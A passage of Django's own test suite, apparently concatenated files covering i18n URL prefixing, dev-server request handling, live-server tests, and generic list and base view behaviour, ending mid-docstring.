        response = self.client.get('/account/register/', HTTP_ACCEPT_LANGUAGE='pl-pl')
        self.assertRedirects(response, '/en/account/register/')

        response = self.client.get(response['location'])
        self.assertEqual(response.status_code, 200)

    @override_settings(
        MIDDLEWARE=[
            'i18n.patterns.tests.PermanentRedirectLocaleMiddleWare',
            'django.middleware.common.CommonMiddleware',
        ],
    )
    def test_custom_redirect_class(self):
        response = self.client.get('/account/register/', HTTP_ACCEPT_LANGUAGE='en')
        self.assertRedirects(response, '/en/account/register/', 301)


class URLVaryAcceptLanguageTests(URLTestCaseBase):
    """
    Tests that 'Accept-Language' is not added to the Vary header when using
    prefixed URLs.
    """
    def test_no_prefix_response(self):
        response = self.client.get('/not-prefixed/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.get('Vary'), 'Accept-Language')

    def test_en_redirect(self):
        response = self.client.get('/account/register/', HTTP_ACCEPT_LANGUAGE='en')
        self.assertRedirects(response, '/en/account/register/')
        self.assertFalse(response.get('Vary'))

        response = self.client.get(response['location'])
        self.assertEqual(response.status_code, 200)
        self.assertFalse(response.get('Vary'))


class URLRedirectWithoutTrailingSlashTests(URLTestCaseBase):
    """
    Tests the redirect when the requested URL doesn't end with a slash
    (`settings.APPEND_SLASH=True`).
    """
    def test_not_prefixed_redirect(self):
        response = self.client.get('/not-prefixed', HTTP_ACCEPT_LANGUAGE='en')
        self.assertRedirects(response, '/not-prefixed/', 301)

    def test_en_redirect(self):
        response = self.client.get('/account/register', HTTP_ACCEPT_LANGUAGE='en', follow=True)
        # We only want one redirect, bypassing CommonMiddleware
        self.assertListEqual(response.redirect_chain, [('/en/account/register/', 302)])
        self.assertRedirects(response, '/en/account/register/', 302)

        response = self.client.get('/prefixed.xml', HTTP_ACCEPT_LANGUAGE='en', follow=True)
        self.assertRedirects(response, '/en/prefixed.xml', 302)


class URLRedirectWithoutTrailingSlashSettingTests(URLTestCaseBase):
    """
    Tests the redirect when the requested URL doesn't end with a slash
    (`settings.APPEND_SLASH=False`).
    """
    @override_settings(APPEND_SLASH=False)
    def test_not_prefixed_redirect(self):
        response = self.client.get('/not-prefixed', HTTP_ACCEPT_LANGUAGE='en')
        self.assertEqual(response.status_code, 404)

    @override_settings(APPEND_SLASH=False)
    def test_en_redirect(self):
        response = self.client.get('/account/register-without-slash', HTTP_ACCEPT_LANGUAGE='en')
        self.assertRedirects(response, '/en/account/register-without-slash', 302)

        response = self.client.get(response['location'])
        self.assertEqual(response.status_code, 200)


class URLResponseTests(URLTestCaseBase):
    """
    Tests if the response has the right language-code.
    """
    def test_not_prefixed_with_prefix(self):
        response = self.client.get('/en/not-prefixed/')
        self.assertEqual(response.status_code, 404)

    def test_en_url(self):
        response = self.client.get('/en/account/register/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response['content-language'], 'en')
        self.assertEqual(response.context['LANGUAGE_CODE'], 'en')

    def test_nl_url(self):
        response = self.client.get('/nl/profiel/registeren/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response['content-language'], 'nl')
        self.assertEqual(response.context['LANGUAGE_CODE'], 'nl')

    def test_wrong_en_prefix(self):
        response = self.client.get('/en/profiel/registeren/')
        self.assertEqual(response.status_code, 404)

    def test_wrong_nl_prefix(self):
        response = self.client.get('/nl/account/register/')
        self.assertEqual(response.status_code, 404)

    def test_pt_br_url(self):
        response = self.client.get('/pt-br/conta/registre-se/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response['content-language'], 'pt-br')
        self.assertEqual(response.context['LANGUAGE_CODE'], 'pt-br')


class URLRedirectWithScriptAliasTests(URLTestCaseBase):
    """
    #21579 - LocaleMiddleware should respect the script prefix.
    """
    def test_language_prefix_with_script_prefix(self):
        prefix = '/script_prefix'
        with override_script_prefix(prefix):
            response = self.client.get('/prefixed/', HTTP_ACCEPT_LANGUAGE='en', SCRIPT_NAME=prefix)
            self.assertRedirects(response, '%s/en/prefixed/' % prefix, target_status_code=404)


class URLTagTests(URLTestCaseBase):
    """
    Test if the language tag works.
    """
    def test_strings_only(self):
        t = Template("""{% load i18n %}
            {% language 'nl' %}{% url 'no-prefix-translated' %}{% endlanguage %}
            {% language 'pt-br' %}{% url 'no-prefix-translated' %}{% endlanguage %}""")
        self.assertEqual(t.render(Context({})).strip().split(),
                         ['/vertaald/', '/traduzidos/'])

    def test_context(self):
        ctx = Context({'lang1': 'nl', 'lang2': 'pt-br'})
        tpl = Template("""{% load i18n %}
            {% language lang1 %}{% url 'no-prefix-translated' %}{% endlanguage %}
            {% language lang2 %}{% url 'no-prefix-translated' %}{% endlanguage %}""")
        self.assertEqual(tpl.render(ctx).strip().split(),
                         ['/vertaald/', '/traduzidos/'])

    def test_args(self):
        tpl = Template("""{% load i18n %}
            {% language 'nl' %}{% url 'no-prefix-translated-slug' 'apo' %}{% endlanguage %}
            {% language 'pt-br' %}{% url 'no-prefix-translated-slug' 'apo' %}{% endlanguage %}""")
        self.assertEqual(tpl.render(Context({})).strip().split(),
                         ['/vertaald/apo/', '/traduzidos/apo/'])

    def test_kwargs(self):
        tpl = Template("""{% load i18n %}
            {% language 'nl'  %}{% url 'no-prefix-translated-slug' slug='apo' %}{% endlanguage %}
            {% language 'pt-br' %}{% url 'no-prefix-translated-slug' slug='apo' %}{% endlanguage %}""")
        self.assertEqual(tpl.render(Context({})).strip().split(),
                         ['/vertaald/apo/', '/traduzidos/apo/'])






from django.conf.urls import url
from django.utils.translation import ugettext_lazy as _
from django.views.generic import TemplateView

view = TemplateView.as_view(template_name='dummy.html')

app_name = 'account'
urlpatterns = [
    url(_(r'^register/$'), view, name='register'),
    url(_(r'^register-without-slash$'), view, name='register-without-slash'),
]






from django.conf.urls import include, url
from django.conf.urls.i18n import i18n_patterns
from django.utils.translation import ugettext_lazy as _
from django.views.generic import TemplateView

view = TemplateView.as_view(template_name='dummy.html')

urlpatterns = [
    url(r'^not-prefixed/$', view, name='not-prefixed'),
    url(r'^not-prefixed-include/', include('i18n.patterns.urls.included')),
    url(_(r'^translated/$'), view, name='no-prefix-translated'),
    url(_(r'^translated/(?P<slug>[\w-]+)/$'), view, name='no-prefix-translated-slug'),
]

urlpatterns += i18n_patterns(
    url(r'^prefixed/$', view, name='prefixed'),
    url(r'^prefixed\.xml$', view, name='prefixed_xml'),
    url(_(r'^users/$'), view, name='users'),
    url(_(r'^account/'), include('i18n.patterns.urls.namespace', namespace='account')),
)






from django.conf.urls import url
from django.views.generic import TemplateView

view = TemplateView.as_view(template_name='dummy.html')

urlpatterns = [
    url(r'^foo/$', view, name='not-prefixed-included-url'),
]






from django.conf.urls import include, url
from django.conf.urls.i18n import i18n_patterns
from django.utils.translation import ugettext_lazy as _

urlpatterns = i18n_patterns(
    url(_(r'^account/'), include('i18n.patterns.urls.wrong_namespace', namespace='account')),
)






from django.conf.urls import url
from django.conf.urls.i18n import i18n_patterns
from django.views.generic import TemplateView

view = TemplateView.as_view(template_name='dummy.html')

urlpatterns = i18n_patterns(
    url(r'^prefixed/$', view, name='prefixed'),
)












from django.conf.urls import url
from django.conf.urls.i18n import i18n_patterns
from django.utils.translation import ugettext_lazy as _
from django.views.generic import TemplateView

view = TemplateView.as_view(template_name='dummy.html')

app_name = 'account'
urlpatterns = i18n_patterns(
    url(_(r'^register/$'), view, name='register'),
)






from django.conf.urls import url
from django.views.generic import TemplateView

view = TemplateView.as_view(template_name='dummy.html')

urlpatterns = [
    url(r'^nl/foo/', view, name='not-translated'),
]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import os

from django.contrib.contenttypes.models import ContentType
from django.test import TestCase, override_settings
from django.utils import six, translation
from django.utils._os import upath


@override_settings(
    USE_I18N=True,
    LOCALE_PATHS=[
        os.path.join(os.path.dirname(upath(__file__)), 'locale'),
    ],
    LANGUAGE_CODE='en',
    LANGUAGES=[
        ('en', 'English'),
        ('fr', 'French'),
    ],
)
class ContentTypeTests(TestCase):
    def test_verbose_name(self):
        company_type = ContentType.objects.get(app_label='i18n', model='company')
        with translation.override('en'):
            self.assertEqual(six.text_type(company_type), 'Company')
        with translation.override('fr'):
            self.assertEqual(six.text_type(company_type), 'Société')










































# A user-defined format
CUSTOM_DAY_FORMAT = 'd/m/Y CUSTOM'






from django.utils.translation import ugettext as _, ungettext

# Translators: This comment should be extracted
dummy1 = _("This is a translatable string.")

# This comment should not be extracted
dummy2 = _("This is another translatable string.")

# This file has a literal with plural forms. When processed first, makemessages
# shouldn't create a .po file with duplicate `Plural-Forms` headers
number = 3
dummy3 = ungettext("%(number)s Foo", "%(number)s Foos", number) % {'number': number}

dummy4 = _('Size')

# This string is intentionally duplicated in test.html
dummy5 = _('This literal should be included.')






import logging
from io import BytesIO

from django.core.handlers.wsgi import WSGIRequest
from django.core.servers.basehttp import WSGIRequestHandler
from django.test import SimpleTestCase
from django.test.client import RequestFactory
from django.test.utils import patch_logger


class Stub(object):
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)

    def sendall(self, data):
        self.makefile('wb').write(data)


class WSGIRequestHandlerTestCase(SimpleTestCase):

    def test_log_message(self):
        # Silence the django.server logger by replacing its StreamHandler with
        # NullHandler.
        logger = logging.getLogger('django.server')
        original_handlers = logger.handlers
        logger.handlers = [logging.NullHandler()]
        try:
            request = WSGIRequest(RequestFactory().get('/').environ)
            request.makefile = lambda *args, **kwargs: BytesIO()
            handler = WSGIRequestHandler(request, '192.168.0.2', None)
            level_status_codes = {
                'info': [200, 301, 304],
                'warning': [400, 403, 404],
                'error': [500, 503],
            }

            def _log_level_code(level, status_code):
                with patch_logger('django.server', level) as messages:
                    handler.log_message('GET %s %s', 'A', str(status_code))
                return messages

            for level, status_codes in level_status_codes.items():
                for status_code in status_codes:
                    # The correct level gets the message.
                    messages = _log_level_code(level, status_code)
                    self.assertIn('GET A %d' % status_code, messages[0])

                    # Incorrect levels shouldn't have any messages.
                    for wrong_level in level_status_codes.keys():
                        if wrong_level != level:
                            messages = _log_level_code(wrong_level, status_code)
                            self.assertEqual(len(messages), 0)
        finally:
            logger.handlers = original_handlers

    def test_https(self):
        request = WSGIRequest(RequestFactory().get('/').environ)
        request.makefile = lambda *args, **kwargs: BytesIO()

        handler = WSGIRequestHandler(request, '192.168.0.2', None)

        with patch_logger('django.server', 'error') as messages:
            handler.log_message("GET %s %s", str('\x16\x03'), "4")
        self.assertIn(
            "You're accessing the development server over HTTPS, "
            "but it only supports HTTP.",
            messages[0]
        )

    def test_strips_underscore_headers(self):
        """WSGIRequestHandler ignores headers containing underscores.

        This follows the lead of nginx and Apache 2.4, and is to avoid
        ambiguity between dashes and underscores in mapping to WSGI environ,
        which can have security implications.
        """
        def test_app(environ, start_response):
            """A WSGI app that just reflects its HTTP environ."""
            start_response('200 OK', [])
            http_environ_items = sorted(
                '%s:%s' % (k, v) for k, v in environ.items()
                if k.startswith('HTTP_')
            )
            yield (','.join(http_environ_items)).encode('utf-8')

        rfile = BytesIO()
        rfile.write(b"GET / HTTP/1.0\r\n")
        rfile.write(b"Some-Header: good\r\n")
        rfile.write(b"Some_Header: bad\r\n")
        rfile.write(b"Other_Header: bad\r\n")
        rfile.seek(0)

        # WSGIRequestHandler closes the output file; we need to make this a
        # no-op so we can still read its contents.
        class UnclosableBytesIO(BytesIO):
            def close(self):
                pass

        wfile = UnclosableBytesIO()

        def makefile(mode, *a, **kw):
            if mode == 'rb':
                return rfile
            elif mode == 'wb':
                return wfile

        request = Stub(makefile=makefile)
        server = Stub(base_environ={}, get_app=lambda: test_app)

        # We don't need to check stderr, but we don't want it in test output
        with patch_logger('django.server', 'info'):
            # instantiating a handler runs the request as side effect
            WSGIRequestHandler(request, '192.168.0.2', server)

        wfile.seek(0)
        body = list(wfile.readlines())[-1]

        self.assertEqual(body, b'HTTP_SOME_HEADER:good')






from django.db import models


class Person(models.Model):
    name = models.CharField(max_length=256)






from django.http import HttpResponse

from .models import Person


def example_view(request):
    return HttpResponse('example view')


def model_view(request):
    people = Person.objects.all()
    return HttpResponse('\n'.join(person.name for person in people))


def create_model_instance(request):
    person = Person(name='emily')
    person.save()
    return HttpResponse('')


def environ_view(request):
    return HttpResponse("\n".join("%s: %r" % (k, v) for k, v in request.environ.items()))






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^example_view/$', views.example_view),
    url(r'^model_view/$', views.model_view),
    url(r'^create_model_instance/$', views.create_model_instance),
    url(r'^environ_view/$', views.environ_view),
]






from django.db import DEFAULT_DB_ALIAS, connections
from django.test import LiveServerTestCase, TestCase


class LiveServerThreadTest(TestCase):

    def run_live_server_thread(self, connections_override=None):
        thread = LiveServerTestCase._create_server_thread(connections_override)
        thread.daemon = True
        thread.start()
        thread.is_ready.wait()
        thread.terminate()

    def test_closes_connections(self):
        conn = connections[DEFAULT_DB_ALIAS]
        if conn.vendor == 'sqlite' and conn.is_in_memory_db():
            self.skipTest("the sqlite backend's close() method is a no-op when using an in-memory database")
        # Pass a connection to the thread to check they are being closed.
        connections_override = {DEFAULT_DB_ALIAS: conn}

        saved_sharing = conn.allow_thread_sharing
        try:
            conn.allow_thread_sharing = True
            self.assertTrue(conn.is_usable())
            self.run_live_server_thread(connections_override)
            self.assertFalse(conn.is_usable())
        finally:
            conn.allow_thread_sharing = saved_sharing












# -*- encoding: utf-8 -*-
"""
Tests for django.core.servers.
"""
from __future__ import unicode_literals

import contextlib
import errno
import os
import socket

from django.test import LiveServerTestCase, override_settings
from django.utils._os import upath
from django.utils.http import urlencode
from django.utils.six import text_type
from django.utils.six.moves.urllib.error import HTTPError
from django.utils.six.moves.urllib.request import urlopen

from .models import Person

TEST_ROOT = os.path.dirname(upath(__file__))
TEST_SETTINGS = {
    'MEDIA_URL': '/media/',
    'MEDIA_ROOT': os.path.join(TEST_ROOT, 'media'),
    'STATIC_URL': '/static/',
    'STATIC_ROOT': os.path.join(TEST_ROOT, 'static'),
}


@override_settings(ROOT_URLCONF='servers.urls', **TEST_SETTINGS)
class LiveServerBase(LiveServerTestCase):

    available_apps = [
        'servers',
        'django.contrib.auth',
        'django.contrib.contenttypes',
        'django.contrib.sessions',
    ]
    fixtures = ['testdata.json']

    def urlopen(self, url):
        return urlopen(self.live_server_url + url)


class LiveServerAddress(LiveServerBase):

    @classmethod
    def setUpClass(cls):
        super(LiveServerAddress, cls).setUpClass()
        # put it in a list to prevent descriptor lookups in test
        cls.live_server_url_test = [cls.live_server_url]

    def test_live_server_url_is_class_property(self):
        self.assertIsInstance(self.live_server_url_test[0], text_type)
        self.assertEqual(self.live_server_url_test[0], self.live_server_url)


class LiveServerViews(LiveServerBase):
    def test_404(self):
        """
        Ensure that the LiveServerTestCase serves 404s.
        Refs #2879.
        """
        with self.assertRaises(HTTPError) as err:
            self.urlopen('/')
        self.assertEqual(err.exception.code, 404, 'Expected 404 response')

    def test_view(self):
        """
        Ensure that the LiveServerTestCase serves views.
        Refs #2879.
        """
        with contextlib.closing(self.urlopen('/example_view/')) as f:
            self.assertEqual(f.read(), b'example view')

    def test_static_files(self):
        """
        Ensure that the LiveServerTestCase serves static files.
        Refs #2879.
        """
        with contextlib.closing(self.urlopen('/static/example_static_file.txt')) as f:
            self.assertEqual(f.read().rstrip(b'\r\n'), b'example static file')

    def test_no_collectstatic_emulation(self):
        """
        Test that LiveServerTestCase reports a 404 status code when HTTP client
        tries to access a static file that isn't explicitly put under
        STATIC_ROOT.
        """
        with self.assertRaises(HTTPError) as err:
            self.urlopen('/static/another_app/another_app_static_file.txt')
        self.assertEqual(err.exception.code, 404, 'Expected 404 response')

    def test_media_files(self):
        """
        Ensure that the LiveServerTestCase serves media files.
        Refs #2879.
        """
        with contextlib.closing(self.urlopen('/media/example_media_file.txt')) as f:
            self.assertEqual(f.read().rstrip(b'\r\n'), b'example media file')

    def test_environ(self):
        with contextlib.closing(self.urlopen('/environ_view/?%s' % urlencode({'q': 'тест'}))) as f:
            self.assertIn(b"QUERY_STRING: 'q=%D1%82%D0%B5%D1%81%D1%82'", f.read())


class LiveServerDatabase(LiveServerBase):

    def test_fixtures_loaded(self):
        """
        Ensure that fixtures are properly loaded and visible to the
        live server thread.
        Refs #2879.
        """
        with contextlib.closing(self.urlopen('/model_view/')) as f:
            self.assertEqual(f.read().splitlines(), [b'jane', b'robert'])

    def test_database_writes(self):
        """
        Ensure that data written to the database by a view can be read.
        Refs #2879.
        """
        self.urlopen('/create_model_instance/')
        self.assertQuerysetEqual(
            Person.objects.all().order_by('pk'),
            ['jane', 'robert', 'emily'],
            lambda b: b.name
        )


class LiveServerPort(LiveServerBase):

    def test_port_bind(self):
        """
        Each LiveServerTestCase binds to a unique port or fails to start a
        server thread when run concurrently (#26011).
        """
        TestCase = type(str("TestCase"), (LiveServerBase,), {})
        try:
            TestCase.setUpClass()
        except socket.error as e:
            if e.errno == errno.EADDRINUSE:
                # We're out of ports, LiveServerTestCase correctly fails with
                # a socket error.
                return
            # Unexpected error.
            raise
        try:
            # We've acquired a port, ensure our server threads acquired
            # different addresses.
            self.assertNotEqual(
                self.live_server_url, TestCase.live_server_url,
                "Acquired duplicate server addresses for server threads: %s" % self.live_server_url
            )
        finally:
            if hasattr(TestCase, 'server_thread'):
                TestCase.server_thread.terminate()












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime

from django.core.exceptions import ImproperlyConfigured
from django.test import TestCase, override_settings
from django.utils.encoding import force_str
from django.views.generic.base import View

from .models import Artist, Author, Book, Page


@override_settings(ROOT_URLCONF='generic_views.urls')
class ListViewTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.artist1 = Artist.objects.create(name='Rene Magritte')
        cls.author1 = Author.objects.create(name='Roberto Bolaño', slug='roberto-bolano')
        cls.author2 = Author.objects.create(name='Scott Rosenberg', slug='scott-rosenberg')
        cls.book1 = Book.objects.create(name='2066', slug='2066', pages=800, pubdate=datetime.date(2008, 10, 1))
        cls.book1.authors.add(cls.author1)
        cls.book2 = Book.objects.create(
            name='Dreaming in Code', slug='dreaming-in-code', pages=300, pubdate=datetime.date(2006, 5, 1)
        )
        cls.page1 = Page.objects.create(
            content='I was once bitten by a moose.', template='generic_views/page_template.html'
        )

    def test_items(self):
        res = self.client.get('/list/dict/')
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/list.html')
        self.assertEqual(res.context['object_list'][0]['first'], 'John')

    def test_queryset(self):
        res = self.client.get('/list/authors/')
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/author_list.html')
        self.assertEqual(list(res.context['object_list']), list(Author.objects.all()))
        self.assertIsInstance(res.context['view'], View)
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertIsNone(res.context['paginator'])
        self.assertIsNone(res.context['page_obj'])
        self.assertFalse(res.context['is_paginated'])

    def test_paginated_queryset(self):
        self._make_authors(100)
        res = self.client.get('/list/authors/paginated/')
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/author_list.html')
        self.assertEqual(len(res.context['object_list']), 30)
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertTrue(res.context['is_paginated'])
        self.assertEqual(res.context['page_obj'].number, 1)
        self.assertEqual(res.context['paginator'].num_pages, 4)
        self.assertEqual(res.context['author_list'][0].name, 'Author 00')
        self.assertEqual(list(res.context['author_list'])[-1].name, 'Author 29')

    def test_paginated_queryset_shortdata(self):
        # Test that short datasets ALSO result in a paginated view.
        res = self.client.get('/list/authors/paginated/')
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/author_list.html')
        self.assertEqual(list(res.context['object_list']), list(Author.objects.all()))
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertEqual(res.context['page_obj'].number, 1)
        self.assertEqual(res.context['paginator'].num_pages, 1)
        self.assertFalse(res.context['is_paginated'])

    def test_paginated_get_page_by_query_string(self):
        self._make_authors(100)
        res = self.client.get('/list/authors/paginated/', {'page': '2'})
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/author_list.html')
        self.assertEqual(len(res.context['object_list']), 30)
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertEqual(res.context['author_list'][0].name, 'Author 30')
        self.assertEqual(res.context['page_obj'].number, 2)

    def test_paginated_get_last_page_by_query_string(self):
        self._make_authors(100)
        res = self.client.get('/list/authors/paginated/', {'page': 'last'})
        self.assertEqual(res.status_code, 200)
        self.assertEqual(len(res.context['object_list']), 10)
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertEqual(res.context['author_list'][0].name, 'Author 90')
        self.assertEqual(res.context['page_obj'].number, 4)

    def test_paginated_get_page_by_urlvar(self):
        self._make_authors(100)
        res = self.client.get('/list/authors/paginated/3/')
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/author_list.html')
        self.assertEqual(len(res.context['object_list']), 30)
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertEqual(res.context['author_list'][0].name, 'Author 60')
        self.assertEqual(res.context['page_obj'].number, 3)

    def test_paginated_page_out_of_range(self):
        self._make_authors(100)
        res = self.client.get('/list/authors/paginated/42/')
        self.assertEqual(res.status_code, 404)

    def test_paginated_invalid_page(self):
        self._make_authors(100)
        res = self.client.get('/list/authors/paginated/?page=frog')
        self.assertEqual(res.status_code, 404)

    def test_paginated_custom_paginator_class(self):
        self._make_authors(7)
        res = self.client.get('/list/authors/paginated/custom_class/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['paginator'].num_pages, 1)
        # Custom pagination allows for 2 orphans on a page size of 5
        self.assertEqual(len(res.context['object_list']), 7)

    def test_paginated_custom_page_kwarg(self):
        self._make_authors(100)
        res = self.client.get('/list/authors/paginated/custom_page_kwarg/', {'pagina': '2'})
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/author_list.html')
        self.assertEqual(len(res.context['object_list']), 30)
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertEqual(res.context['author_list'][0].name, 'Author 30')
        self.assertEqual(res.context['page_obj'].number, 2)

    def test_paginated_custom_paginator_constructor(self):
        self._make_authors(7)
        res = self.client.get('/list/authors/paginated/custom_constructor/')
        self.assertEqual(res.status_code, 200)
        # Custom pagination allows for 2 orphans on a page size of 5
        self.assertEqual(len(res.context['object_list']), 7)

    def test_paginated_orphaned_queryset(self):
        self._make_authors(92)
        res = self.client.get('/list/authors/paginated-orphaned/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['page_obj'].number, 1)
        res = self.client.get(
            '/list/authors/paginated-orphaned/', {'page': 'last'})
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['page_obj'].number, 3)
        res = self.client.get(
            '/list/authors/paginated-orphaned/', {'page': '3'})
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['page_obj'].number, 3)
        res = self.client.get(
            '/list/authors/paginated-orphaned/', {'page': '4'})
        self.assertEqual(res.status_code, 404)

    def test_paginated_non_queryset(self):
        res = self.client.get('/list/dict/paginated/')

        self.assertEqual(res.status_code, 200)
        self.assertEqual(len(res.context['object_list']), 1)

    def test_verbose_name(self):
        res = self.client.get('/list/artists/')
        self.assertEqual(res.status_code, 200)
        self.assertTemplateUsed(res, 'generic_views/list.html')
        self.assertEqual(list(res.context['object_list']), list(Artist.objects.all()))
        self.assertIs(res.context['artist_list'], res.context['object_list'])
        self.assertIsNone(res.context['paginator'])
        self.assertIsNone(res.context['page_obj'])
        self.assertFalse(res.context['is_paginated'])

    def test_allow_empty_false(self):
        res = self.client.get('/list/authors/notempty/')
        self.assertEqual(res.status_code, 200)
        Author.objects.all().delete()
        res = self.client.get('/list/authors/notempty/')
        self.assertEqual(res.status_code, 404)

    def test_template_name(self):
        res = self.client.get('/list/authors/template_name/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['object_list']), list(Author.objects.all()))
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertTemplateUsed(res, 'generic_views/list.html')

    def test_template_name_suffix(self):
        res = self.client.get('/list/authors/template_name_suffix/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['object_list']), list(Author.objects.all()))
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertTemplateUsed(res, 'generic_views/author_objects.html')

    def test_context_object_name(self):
        res = self.client.get('/list/authors/context_object_name/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['object_list']), list(Author.objects.all()))
        self.assertNotIn('authors', res.context)
        self.assertIs(res.context['author_list'], res.context['object_list'])
        self.assertTemplateUsed(res, 'generic_views/author_list.html')

    def test_duplicate_context_object_name(self):
        res = self.client.get('/list/authors/dupe_context_object_name/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['object_list']), list(Author.objects.all()))
        self.assertNotIn('authors', res.context)
        self.assertNotIn('author_list', res.context)
        self.assertTemplateUsed(res, 'generic_views/author_list.html')

    def test_missing_items(self):
        with self.assertRaises(ImproperlyConfigured):
            self.client.get('/list/authors/invalid/')

    def test_paginated_list_view_does_not_load_entire_table(self):
        # Regression test for #17535
        self._make_authors(3)
        # 1 query for authors
        with self.assertNumQueries(1):
            self.client.get('/list/authors/notempty/')
        # same as above + 1 query to test if authors exist + 1 query for pagination
        with self.assertNumQueries(3):
            self.client.get('/list/authors/notempty/paginated/')

    def test_explicitly_ordered_list_view(self):
        Book.objects.create(name="Zebras for Dummies", pages=800, pubdate=datetime.date(2006, 9, 1))
        res = self.client.get('/list/books/sorted/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object_list'][0].name, '2066')
        self.assertEqual(res.context['object_list'][1].name, 'Dreaming in Code')
        self.assertEqual(res.context['object_list'][2].name, 'Zebras for Dummies')

        res = self.client.get('/list/books/sortedbypagesandnamedec/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(res.context['object_list'][0].name, 'Dreaming in Code')
        self.assertEqual(res.context['object_list'][1].name, 'Zebras for Dummies')
        self.assertEqual(res.context['object_list'][2].name, '2066')

    @override_settings(DEBUG=True)
    def test_paginated_list_view_returns_useful_message_on_invalid_page(self):
        # test for #19240
        # tests that source exception's message is included in page
        self._make_authors(1)
        res = self.client.get('/list/authors/paginated/2/')
        self.assertEqual(res.status_code, 404)
        self.assertEqual(force_str(res.context.get('reason')), "Invalid page (2): That page contains no results")

    def _make_authors(self, n):
        Author.objects.all().delete()
        for i in range(n):
            Author.objects.create(name='Author %02i' % i, slug='a%s' % i)






from __future__ import unicode_literals

import time
import unittest

from django.core.exceptions import ImproperlyConfigured
from django.http import HttpResponse
from django.test import RequestFactory, SimpleTestCase, override_settings
from django.test.utils import require_jinja2
from django.urls import resolve
from django.views.generic import RedirectView, TemplateView, View

from . import views


class SimpleView(View):
    """
    A simple view with a docstring.
    """
    def get(self, request):
        return HttpResponse('This is a simple view')


class SimplePostView(SimpleView):
    post = SimpleView.get


class PostOnlyView(View):
    def post(self, request):
        return HttpResponse('This view only accepts POST')


class CustomizableView(SimpleView):
    parameter = {}


def decorator(view):
    view.is_decorated = True
    return view


class DecoratedDispatchView(SimpleView):

    @decorator
    def dispatch(self, request, *args, **kwargs):
        return super(DecoratedDispatchView, self).dispatch(request, *args, **kwargs)


class AboutTemplateView(TemplateView):
    def get(self, request):
        return self.render_to_response({})

    def get_template_names(self):
        return ['generic_views/about.html']


class AboutTemplateAttributeView(TemplateView):
    template_name = 'generic_views/about.html'

    def get(self, request):
        return self.render_to_response(context={})


class InstanceView(View):

    def get(self, request):
        return self


class ViewTest(unittest.TestCase):
    rf = RequestFactory()

    def _assert_simple(self, response):
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'This is a simple view')

    def test_no_init_kwargs(self):
        """
        Test that a view can't be accidentally instantiated before deployment
        """
        with self.assertRaises(AttributeError):
            SimpleView(key='value').as_view()

    def test_no_init_args(self):
        """
        Test that a view can't be accidentally instantiated before deployment
        """
        with self.assertRaises(TypeError):
            SimpleView.as_view('value')

    def test_pathological_http_method(self):
        """
        The edge case of a http request that spoofs an existing method name is caught.
        """
        self.assertEqual(SimpleView.as_view()(
            self.rf.get('/', REQUEST_METHOD='DISPATCH')
        ).status_code, 405)

    def test_get_only(self):
        """
        Test a view which only allows GET doesn't allow other methods.
        """
        self._assert_simple(SimpleView.as_view()(self.rf.get('/')))
        self.assertEqual(SimpleView.as_view()(self.rf.post('/')).status_code, 405)
        self.assertEqual(SimpleView.as_view()(
            self.rf.get('/', REQUEST_METHOD='FAKE')
        ).status_code, 405)

    def test_get_and_head(self):
        """
        Test a view which supplies a GET method also responds correctly to HEAD.
        """
        self._assert_simple(SimpleView.as_view()(self.rf.get('/')))
        response = SimpleView.as_view()(self.rf.head('/'))
        self.assertEqual(response.status_code, 200)

    def test_head_no_get(self):
        """
        Test a view which supplies no GET method responds to HEAD with HTTP 405.
        """
        response = PostOnlyView.as_view()(self.rf.head('/'))
        self.assertEqual(response.status_code, 405)

    def test_get_and_post(self):
        """
        Test a view which only allows both GET and POST.
        """
        self._assert_simple(SimplePostView.as_view()(self.rf.get('/')))
        self._assert_simple(SimplePostView.as_view()(self.rf.post('/')))
        self.assertEqual(SimplePostView.as_view()(
            self.rf.get('/', REQUEST_METHOD='FAKE')
        ).status_code, 405)

    def test_invalid_keyword_argument(self):
        """
        Test that view arguments must be predefined on the class and can't
        be named like a HTTP method.
        """
        # Check each of the allowed method names
        for method in SimpleView.http_method_names:
            kwargs = dict(((method, "value"),))
            with self.assertRaises(TypeError):
                SimpleView.as_view(**kwargs)

        # Check the case view argument is ok if predefined on the class...
        CustomizableView.as_view(parameter="value")
        # ...but raises errors otherwise.
        with self.assertRaises(TypeError):
            CustomizableView.as_view(foobar="value")

    def test_calling_more_than_once(self):
        """
